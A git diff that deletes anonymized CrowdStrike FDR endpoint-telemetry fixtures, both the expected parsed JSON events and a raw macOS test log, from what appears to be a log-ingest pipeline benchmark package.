-                "id": "01a3b1d4aa10d5329aef78ba9d3ec56f6d97|37b562b807a27cfb58dda71ec9a7eb22|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"CriticalFileAccessed\",\"ContextTimeStamp\":\"1757157936.727\",\"GID\":\"0\",\"ConfigStateHash\":\"1061106086\",\"ContextProcessId\":\"1096090950008222800\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"UID\":\"0\",\"event_platform\":\"Lin\",\"UnixMode\":\"61960\",\"Entitlements\":\"26\",\"name\":\"1532ae7e2a105adcc6ddbcf67\",\"EventOrigin\":\"1\",\"id\":\"01a3b1d4aa10d5329aef78ba9d3ec56f6d97\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"37b562b807a27cfb58dda71ec9a7eb22\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/812/0bb09d\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "file": {
-                "directory": "/812",
-                "name": "0bb09d",
-                "path": "/812/0bb09d",
-                "type": "file"
-            },
-            "group": {
-                "id": "0"
-            },
-            "host": {
-                "id": "37b562b807a27cfb58dda71ec9a7eb22",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "CriticalFileAccessed",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "37b562b807a27cfb58dda71ec9a7eb22",
-                "version": "2c8b.2.3366c72.4f"
-            },
-            "process": {
-                "entity_id": "1096090950008222800",
-                "group": {
-                    "id": "0"
-                },
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "1061106086"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "CapPrm": "3800192030037",
-                "ConfigStateHash": "5001020160",
-                "ContextTimeStamp": "2025-07-12T19:58:22.359Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "56",
-                "EventOrigin": "45",
-                "RGID": "0",
-                "RUID": "0",
-                "SVGID": "0",
-                "SVUID": "0",
-                "SessionProcessId": "4102020000109002000",
-                "SourceProcessId": "8081349242194000050",
-                "SourceThreadId": "0",
-                "SyntheticPR2Flags": "4",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "fb9bd5f0314e46ce785f479aed8f3032fcd9",
-                "name": "4f32166a22f49735247598b45006"
-            },
-            "device": {
-                "id": "8c687fb6b1e8231200c77ef5e3175d0e"
-            },
-            "event": {
-                "action": "SyntheticProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "fb9bd5f0314e46ce785f479aed8f3032fcd9|8c687fb6b1e8231200c77ef5e3175d0e|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"CapPrm\":\"3800192030037\",\"ParentProcessId\":\"8081349242194000050\",\"SourceProcessId\":\"8081349242194000050\",\"aip\":\"81.2.69.192\",\"SessionProcessId\":\"4102020000109002000\",\"SyntheticPR2Flags\":\"4\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1745972888.297\",\"SVUID\":\"0\",\"EventOrigin\":\"45\",\"id\":\"fb9bd5f0314e46ce785f479aed8f3032fcd9\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"ProcessGroupId\":\"7001610480104066706\",\"event_simpleName\":\"SyntheticProcessRollup2\",\"RawProcessId\":\"8905032\",\"ContextTimeStamp\":\"1752350302.359\",\"GID\":\"0\",\"ConfigStateHash\":\"5001020160\",\"SVGID\":\"0\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"UID\":\"0\",\"CommandLine\":\"e7f8eac7d\",\"TargetProcessId\":\"6059002040716020903\",\"ImageFileName\":\"/501e\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"56\",\"name\":\"4f32166a22f49735247598b45006\",\"ProcessStartTime\":\"1745953229.264\",\"RUID\":\"0\",\"aid\":\"8c687fb6b1e8231200c77ef5e3175d0e\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "group": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "id": "0"
-            },
-            "host": {
-                "id": "8c687fb6b1e8231200c77ef5e3175d0e",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "SyntheticProcessRollup2",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "8c687fb6b1e8231200c77ef5e3175d0e",
-                "version": "2c8b.2.3366c72.4f"
-            },
-            "process": {
-                "args": [
-                    "e7f8eac7d"
-                ],
-                "args_count": 1,
-                "command_line": "e7f8eac7d",
-                "end": "2025-04-30T00:28:08.297Z",
-                "entity_id": "6059002040716020903",
-                "executable": "/501e",
-                "group": {
-                    "id": "0"
-                },
-                "group_leader": {
-                    "entity_id": "7001610480104066706"
-                },
-                "name": "501e",
-                "parent": {
-                    "entity_id": "8081349242194000050"
-                },
-                "pgid": 7001610480104066706,
-                "pid": 8905032,
-                "real_group": {
-                    "id": "0"
-                },
-                "real_user": {
-                    "id": "0"
-                },
-                "start": "2025-04-29T19:00:29.264Z",
-                "uptime": 19
-            },
-            "related": {
-                "hash": [
-                    "5001020160"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "8001020160",
-                "ContextProcessId": "9960000700989070560",
-                "ContextTimeStamp": "2025-06-30T16:13:50.984Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "3e71b26395f4386bcb6602ee6777bb5f3124",
-                "name": "6b1c662a760f5ed9750d4"
-            },
-            "device": {
-                "id": "12111f24f25a2a99438b40765c236577"
-            },
-            "event": {
-                "action": "TerminateProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "3e71b26395f4386bcb6602ee6777bb5f3124|12111f24f25a2a99438b40765c236577|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"TerminateProcess\",\"RawProcessId\":\"1070050\",\"ContextTimeStamp\":\"1751300030.984\",\"ConfigStateHash\":\"8001020160\",\"ContextProcessId\":\"9960000700989070560\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"event_platform\":\"Lin\",\"TargetProcessId\":\"6960000700989070560\",\"Entitlements\":\"36\",\"name\":\"6b1c662a760f5ed9750d4\",\"EventOrigin\":\"1\",\"id\":\"3e71b26395f4386bcb6602ee6777bb5f3124\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"12111f24f25a2a99438b40765c236577\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "12111f24f25a2a99438b40765c236577",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "TerminateProcess",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "12111f24f25a2a99438b40765c236577",
-                "version": "2c8b.2.3366c72.4f"
-            },
-            "process": {
-                "entity_id": "6960000700989070560",
-                "pid": 1070050,
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "8001020160"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-10-14T01:41:14.201Z",
-            "crowdstrike": {
-                "CapPrm": "123438954321",
-                "ChangeTime": "2024-11-11T12:53:20.968Z",
-                "ConfigStateHash": "1026580567",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "EventOrigin": "17",
-                "LocalAddressIP4": [
-                    "0.0.0.0"
-                ],
-                "MD5HashData": "88922d50263b059696c2af5a99906562",
-                "OciContainerId": "sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd",
-                "RGID": "0",
-                "RUID": "0",
-                "RootPath": "/",
-                "SHA256HashData": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6",
-                "SVGID": "0",
-                "SVUID": "0",
-                "SessionProcessId": "1234915117961",
-                "SourceProcessId": "12347782548906",
-                "SourceThreadId": "0",
-                "Tags": [
-                    "874",
-                    "17179870274",
-                    "12094627905582",
-                    "12094627906234",
-                    "212205744162400"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "1w23e4r-d03e-4003-bc75-71c6e819ca5f",
-                "name": "ProcessRollup2LinV12"
-            },
-            "device": {
-                "id": "ffffffff62714a708030d494ca0a7e60"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-10-14T01:41:14.201Z",
-                "id": "1w23e4r-d03e-4003-bc75-71c6e819ca5f|ffffffff62714a708030d494ca0a7e60|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"ChangeTime\":\"1731329600.968\",\"OciContainerId\":\"sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd\",\"CapPrm\":\"123438954321\",\"ParentProcessId\":\"12347782548906\",\"SourceProcessId\":\"12347782548906\",\"aip\":\"89.160.20.128\",\"SessionProcessId\":\"1234915117961\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1760406073.595\",\"SVUID\":\"0\",\"ParentBaseFileName\":\"runc\",\"EventOrigin\":\"17\",\"id\":\"1w23e4r-d03e-4003-bc75-71c6e819ca5f\",\"EffectiveTransmissionClass\":\"2\",\"Tags\":\"874, 17179870274, 12094627905582, 12094627906234, 212205744162400\",\"timestamp\":\"1760406074201\",\"ProcessGroupId\":\"1234915117961\",\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"1234\",\"RootPath\":\"/\",\"GID\":\"0\",\"ConfigStateHash\":\"1026580567\",\"UserName\":\"root\",\"SVGID\":\"0\",\"MD5HashData\":\"88922d50263b059696c2af5a99906562\",\"SHA256HashData\":\"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"CommandLine\":\"runc init\",\"TargetProcessId\":\"12347783237538\",\"ImageFileName\":\"/\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2LinV12\",\"RUID\":\"0\",\"ProcessStartTime\":\"1760406073.568\",\"ComputerName\":\"comp2\",\"aid\":\"ffffffff62714a708030d494ca0a7e60\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "group": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "id": "0"
-            },
-            "host": {
-                "hostname": "comp2",
-                "id": "ffffffff62714a708030d494ca0a7e60",
-                "name": "comp2",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "ffffffff62714a708030d494ca0a7e60",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "args": [
-                    "runc",
-                    "init"
-                ],
-                "args_count": 2,
-                "command_line": "runc init",
-                "end": "2025-10-14T01:41:13.595Z",
-                "entity_id": "12347783237538",
-                "executable": "/",
-                "group": {
-                    "id": "0"
-                },
-                "group_leader": {
-                    "entity_id": "1234915117961"
-                },
-                "hash": {
-                    "md5": "88922d50263b059696c2af5a99906562",
-                    "sha256": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6"
-                },
-                "name": "runc",
-                "parent": {
-                    "entity_id": "12347782548906",
-                    "name": "runc"
-                },
-                "pgid": 1234915117961,
-                "pid": 1234,
-                "real_group": {
-                    "id": "0"
-                },
-                "real_user": {
-                    "id": "0"
-                },
-                "start": "2025-10-14T01:41:13.568Z",
-                "uptime": 0
-            },
-            "related": {
-                "hash": [
-                    "88922d50263b059696c2af5a99906562",
-                    "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6",
-                    "1026580567"
-                ],
-                "hosts": [
-                    "comp2"
-                ],
-                "ip": [
-                    "89.160.20.128",
-                    "0.0.0.0"
-                ],
-                "user": [
-                    "root",
-                    "0"
-                ]
-            },
-            "source": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "0"
-                    }
-                },
-                "group": {
-                    "id": "0"
-                },
-                "id": "0",
-                "name": "root"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log
deleted file mode 100644
index cdbb227d80..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log
+++ /dev/null
@@ -1,18 +0,0 @@
-{"ContextBaseFileName":"09e61","event_simpleName":"BZip2FileWritten","ContextTimeStamp":"1757195073.478","UserName":"4813","FileCategory":"1","ConfigStateHash":"25043379","ContextProcessId":"128660005005330005","Size":"164","ContextThreadId":"0","aip":"216.160.83.56","FileIdentifier":"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"66","name":"f1facdb9387bd66ffd9ef","EventOrigin":"1","id":"902e0c3461e5e975df4227b1ce8919630d6d","EffectiveTransmissionClass":"2","aid":"b616fca617fa5819625542d9505100de","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/836/3be7855d.bz2"}
-{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1748302670.919","GID":"0","ConfigStateHash":"859328400","ContextProcessId":"807031761070052000","ContextThreadId":"0","aip":"2a02:cf40::1","FileIdentifier":"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21","ConfigBuild":"2c8b.4.daf5d9d.4f","UID":"0","USN":"150410415","event_platform":"Mac","UnixMode":"905","Entitlements":"86","name":"0e25074caaed0b54119466642","EventOrigin":"1","id":"46dbd0c61a79bcf29fba222797ace5754589","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/812/4f8a2"}
-{"event_simpleName":"FileCreateInfo","ContextTimeStamp":"1757781342.026","GID":"45","ConfigStateHash":"65043379","ContextProcessId":"309000003380007780","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"213","event_platform":"Mac","TreeId":"586900090030000484","UnixMode":"105","Entitlements":"26","name":"b556b2f8c2fcc9d247c","EventOrigin":"3","id":"2e5060ef833ae51492bb2f2feaa9f0a52725","EffectiveTransmissionClass":"3","aid":"f8e97b22125b280e944b0a3e95273005","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal"}
-{"event_simpleName":"FirewallDisabled","ContextTimeStamp":"1762877709.496","ConfigStateHash":"600000970","ContextProcessId":"700001226457050500","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","Entitlements":"16","name":"d6b45f4ee5e3f0dc22415","EventOrigin":"45","id":"da89f6e8e51680edc853caf65110cd0b6997","EffectiveTransmissionClass":"2","aid":"688342f2ec2adb5c7a9da5d3fec0cf70","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"FirewallEnabled","ContextTimeStamp":"1746962753.829","ConfigStateHash":"859328400","ContextProcessId":"900268078000780315","aip":"81.2.69.144","ConfigBuild":"2c8b.4.daf5d9d.4f","event_platform":"Mac","Entitlements":"46","name":"07198adb48f191c84a38","EventOrigin":"45","id":"b6c44348e6ee1e39992118be1c7150fa6a2e","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"445","RemoteAddressMaskIP4":"7807212067","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","EventOrigin":"45","LocalAddressMaskIP4":"5452380700","id":"806ac88ec376c30a3ad5d58a509223d6a681","Protocol":"0","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"216.160.83.56","event_simpleName":"FirewallSetRuleIP4","ContextTimeStamp":"1747090146.428","ConfigStateHash":"95043379","ContextProcessId":"160345220009000222","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"66","name":"dc265f862d44e408c3e76cd","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","RemoteAddressIP4":"81.2.69.144","ConnectionDirection":"1","cid":"4092825518eaf67377a6e4492ae44577"}
-{"RemoteAddressIP6":"2a02:cf40::1","FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"3d0df","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","RemoteAddressMaskIP6":"374708fff7719dd5","LocalAddressMaskIP6":"0e83fa75cca53fdf","EventOrigin":"45","id":"642c09f791082b5d83a09c110880c78938cf","Protocol":"62","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"FirewallSetRuleIP6","LocalAddressIP6":"2a02:cf40::1","ContextTimeStamp":"1749801051.624","IcmpCode":"1","ConfigStateHash":"15043379","ContextProcessId":"160345220009000222","IcmpType":"990","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"76","name":"e1d442f5c46bbf234569aea","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"KextLoad","ContextTimeStamp":"1762198394.892","ConfigStateHash":"15043379","ContextProcessId":"472050110452005020","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","BundleID":"a225ed06f58fec3fe735872464c","Entitlements":"86","name":"3304452f50b3f","EventOrigin":"1","id":"5f985f71b43f37edc3c06b1c67f8acf263c1","EffectiveTransmissionClass":"2","aid":"c93c143eed37653b54c326dd22e114b8","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"OutOctets":"3000000600","CreationTimeStamp":"-11724671741.249","aip":"81.2.69.192","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"445","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","EventOrigin":"1","id":"f0d3d878ef1a02ab86680075a0eda18b56e9","PhysicalAddressLength":"6","InUcastPkts":"80890102","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"55043379","PhysicalAddress":"b9-55-b4-6e-3e-c8","PrefixLength":"52","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"46360000","InMulticastPkts":"36300760","ConfigBuild":"2c8b.4.b224e8a.4f","InOctets":"5401980300","NetLuidIndex":"0","Entitlements":"76","name":"1b1a40a16643c4d9d9ad13","aid":"3bec845649acaaa1eb41d1ad4a804a38","cid":"4092825518eaf67377a6e4492ae44577"}
-{"LocalAddressIP4":"216.160.83.56","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"65043379","aip":"81.2.69.142","InterfaceIndex":"8","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"86","name":"4a33a844314cf727f26cb81df45b9","EventOrigin":"1","id":"a885c0aff4e59afa62b4cfc45dd233f79546","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"3bec845649acaaa1eb41d1ad4a804a38","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"9a93b1357a69e905c9a","FileCategory":"6","MachOSubType":"6","Size":"3000605","ContextThreadId":"0","aip":"89.160.20.112","BoundingLimitCount":"10","FileIdentifier":"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9","event_platform":"Mac","EventOrigin":"1","id":"1a8f053397e4f0d36a740347ced0ee4eaad4","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"MachOFileWritten","ContextTimeStamp":"1749108669.141","UserName":"4813","ConfigStateHash":"25043379","ContextProcessId":"704802000705084000","SHA256HashData":"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63","ConfigBuild":"2c8b.4.b224e8a.4f","IsOnRemovableDisk":"0","BoundingLimitDuration":"4486640","Entitlements":"26","name":"1148999d786555f3e786e","aid":"9ea510e4d87c4988253c7355515a7081","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"75043379","Timeout":"284","ParentProcessId":"0","aip":"81.2.69.142","SuppressType":"2","SHA256HashData":"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d","ProcessCount":"5","BoundedCount":"4","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"60","event_platform":"Mac","CommandLine":"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd","Entitlements":"16","name":"53731de338efc268aed79822","EventOrigin":"45","id":"9b9091551ef260bfbe2fcbaa991fd216578d","EffectiveTransmissionClass":"2","aid":"aff97f8b915352339afe79c5a16d76b3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"PtyCreated","ContextTimeStamp":"1748620809.371","ConfigStateHash":"85043379","ContextProcessId":"601020521600005482","DeviceId":"506006027","ContextThreadId":"0","aip":"89.160.20.112","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","CommandLine":"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660","ImageFileName":"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a","Entitlements":"96","name":"a3f9634e8f5cb2a","EventOrigin":"1","id":"1653ccad055c131c79fb49ce013cfa05fde1","EffectiveTransmissionClass":"2","aid":"0883f49bee1d86ce81176e6d89766adc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"LocalAddressIP4":"81.2.69.144","event_simpleName":"RawBindIP4","ContextTimeStamp":"1759703286.546","ConfigStateHash":"55043379","ConnectionFlags":"0","ContextProcessId":"148005106018043800","RemotePort":"260","aip":"2a02:cf40::2","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"260","Entitlements":"86","name":"2552bb1c58ae3899","EventOrigin":"1","id":"c842b689fbd78207d195d8c17e3a04a000f6","Protocol":"45","EffectiveTransmissionClass":"3","aid":"6de60f31dcfac7d0eac699802285aa4c","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1760875204.560","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"75043379","ConnectionFlags":"0","ContextProcessId":"525000013203000905","RemotePort":"60285","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"28","Entitlements":"26","name":"6be29847ad234f89","EventOrigin":"1","id":"2d87ac61a22522847bc2143b50b4aac12858","Protocol":"45","EffectiveTransmissionClass":"3","aid":"bfae1ce346c864e642355116756472d6","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ScriptControlScanInfo","ScriptContent":"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c","ConfigStateHash":"600000970","OriginalContentLength":"100","ContextProcessId":"516365064008244070","aip":"89.160.20.128","ContentSHA256HashData":"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","ScriptContentName":"/51a/89","Entitlements":"56","name":"0a1beccbcea40ac2468a3ee78b","EventOrigin":"1","id":"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0","EffectiveTransmissionClass":"2","aid":"c7fe43754f5b6ebfa566ef25e9ac6ecc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"d66187f4b1779e","event_simpleName":"TarFileWritten","ContextTimeStamp":"1753030307.865","UserName":"2e31bb4e4604be73a","FileCategory":"1","ConfigStateHash":"35043379","ContextProcessId":"140060400067209000","Size":"534039","ContextThreadId":"0","aip":"2a02:cf40::2","FileIdentifier":"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"e7ebdc66589c6ae4b87","EventOrigin":"1","id":"f6d443ab644ffa64617a90936d6da555f0a2","EffectiveTransmissionClass":"2","aid":"3e32d11b9db211e438bf9141dbc31d85","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5"}
